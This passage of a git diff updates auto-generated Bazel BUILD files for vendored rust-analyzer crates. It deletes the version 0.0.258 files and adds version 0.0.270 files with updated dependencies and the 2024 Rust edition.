-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__cov-mark-2.0.0//:cov_mark",
-        "@vendor__either-1.13.0//:either",
-        "@vendor__indexmap-2.7.0//:indexmap",
-        "@vendor__itertools-0.12.1//:itertools",
-        "@vendor__ra-ap-rustc_lexer-0.87.0//:ra_ap_rustc_lexer",
-        "@vendor__ra_ap_parser-0.0.258//:ra_ap_parser",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx",
-        "@vendor__rowan-0.15.15//:rowan",
-        "@vendor__rustc-hash-2.1.0//:rustc_hash",
-        "@vendor__smol_str-0.3.2//:smol_str",
-        "@vendor__tracing-0.1.41//:tracing",
-        "@vendor__triomphe-0.1.14//:triomphe",
-    ],
-)
-exports_files(["rust.ungram"])
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-0.0.270.bazel
new file mode 100644
index 000000000000..adfba58214cb
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-0.0.270.bazel
@@ -0,0 +1,102 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_syntax",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser": "parser",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_syntax",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__cov-mark-2.0.0//:cov_mark",
+        "@vendor_ts__either-1.15.0//:either",
+        "@vendor_ts__indexmap-2.7.0//:indexmap",
+        "@vendor_ts__itertools-0.12.1//:itertools",
+        "@vendor_ts__ra-ap-rustc_lexer-0.100.0//:ra_ap_rustc_lexer",
+        "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx",
+        "@vendor_ts__rowan-0.15.15//:rowan",
+        "@vendor_ts__rustc-hash-2.1.1//:rustc_hash",
+        "@vendor_ts__smol_str-0.3.2//:smol_str",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+        "@vendor_ts__triomphe-0.1.14//:triomphe",
+    ],
+)
+exports_files(["rust.ungram"])
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-bridge-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-bridge-0.0.258.bazel
deleted file mode 100644
index 62290545bbc8..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-bridge-0.0.258.bazel
+++ /dev/null
@@ -1,101 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_syntax_bridge",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern": "intern",
-        "@vendor__ra_ap_parser-0.0.258//:ra_ap_parser": "parser",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span": "span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx": "stdx",
-        "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax": "syntax",
-        "@vendor__ra_ap_tt-0.0.258//:ra_ap_tt": "tt",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_syntax-bridge",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern",
-        "@vendor__ra_ap_parser-0.0.258//:ra_ap_parser",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx",
-        "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax",
-        "@vendor__ra_ap_tt-0.0.258//:ra_ap_tt",
-        "@vendor__rustc-hash-2.1.0//:rustc_hash",
-        "@vendor__tracing-0.1.41//:tracing",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-bridge-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-bridge-0.0.270.bazel
new file mode 100644
index 000000000000..5402358378fb
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-bridge-0.0.270.bazel
@@ -0,0 +1,101 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_syntax_bridge",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern",
+        "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser": "parser",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx",
+        "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax": "syntax",
+        "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt": "tt",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_syntax-bridge",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern",
+        "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx",
+        "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax",
+        "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt",
+        "@vendor_ts__rustc-hash-2.1.1//:rustc_hash",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_toolchain-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_toolchain-0.0.258.bazel
deleted file mode 100644
index 86dfdc8d6c3b..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_toolchain-0.0.258.bazel
+++ /dev/null
@@ -1,87 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_toolchain",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_toolchain",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__camino-1.1.9//:camino",
-        "@vendor__home-0.5.11//:home",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_toolchain-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_toolchain-0.0.270.bazel
new file mode 100644
index 000000000000..a9f5509b3064
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_toolchain-0.0.270.bazel
@@ -0,0 +1,87 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_toolchain",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_toolchain",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__camino-1.1.9//:camino",
+        "@vendor_ts__home-0.5.11//:home",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_tt-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_tt-0.0.258.bazel
deleted file mode 100644
index b3de52733253..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_tt-0.0.258.bazel
+++ /dev/null
@@ -1,94 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_tt",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern": "intern",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx": "stdx",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_tt",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__arrayvec-0.7.6//:arrayvec",
-        "@vendor__ra-ap-rustc_lexer-0.87.0//:ra_ap_rustc_lexer",
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx",
-        "@vendor__text-size-1.1.1//:text_size",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_tt-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_tt-0.0.270.bazel
new file mode 100644
index 000000000000..946e9862a993
--- /dev/null
